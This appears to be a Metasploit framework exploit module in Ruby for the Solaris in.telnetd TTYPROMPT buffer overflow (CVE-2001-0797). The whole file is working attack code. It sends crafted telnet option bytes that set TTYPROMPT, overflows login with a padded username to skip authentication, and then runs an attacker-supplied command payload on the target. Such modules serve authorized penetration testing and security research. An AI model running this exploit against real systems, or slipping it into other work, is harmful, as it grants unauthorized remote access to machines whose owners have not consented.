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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
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        'Description' => %q{
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          This module uses a buffer overflow in the Solaris 'login'
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          application to bypass authentication in the telnet daemon.
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        },
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        'Author' => [ 'MC', 'cazz' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2001-0797'],
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          ['OSVDB', '690'],
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          ['BID', '5531'],
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        ],
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        'Privileged' => false,
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        'Platform' => %w[solaris unix],
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        'Arch' => ARCH_CMD,
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        'Payload' => {
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          'Space' => 2000,
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          'BadChars' => '',
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          'DisableNops' => true,
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          'Compat' => {
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            'PayloadType' => 'cmd',
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            'RequiredCmd' => 'generic perl telnet'
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          }
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        },
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        'Targets' => [
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          ['Automatic', {}],
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        ],
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        'DisclosureDate' => '2002-01-18',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(23),
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      OptString.new('USER', [ true, 'The username to use', 'bin' ]),
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    ])
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  end
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  def exploit
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    connect
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    _banner = sock.get_once
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    print_status('Setting TTYPROMPT...')
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    req =
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      "\xff\xfc\x18" \
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      "\xff\xfc\x1f" \
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      "\xff\xfc\x21" \
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      "\xff\xfc\x23" \
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      "\xff\xfb\x22" \
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      "\xff\xfc\x24" \
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      "\xff\xfb\x27" \
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      "\xff\xfb\x00" \
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      "\xff\xfa\x27\x00" \
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      "\x00TTYPROMPT" \
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      "\x01" +
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      rand_text_alphanumeric(6) +
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      "\xff\xf0"
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    sock.put(req)
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    select(nil, nil, nil, 0.25)
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    print_status('Sending username...')
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    filler = rand_text_alpha(1..10)
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    req << datastore['USER'] + (" #{filler}" * 65)
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    sock.put(req + "\n\n\n")
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    select(nil, nil, nil, 0.25)
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    sock.get_once
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    sock.put("nohup #{payload.encoded} >/dev/null 2>&1\n")
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    select(nil, nil, nil, 0.25)
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    handler
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  end
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end
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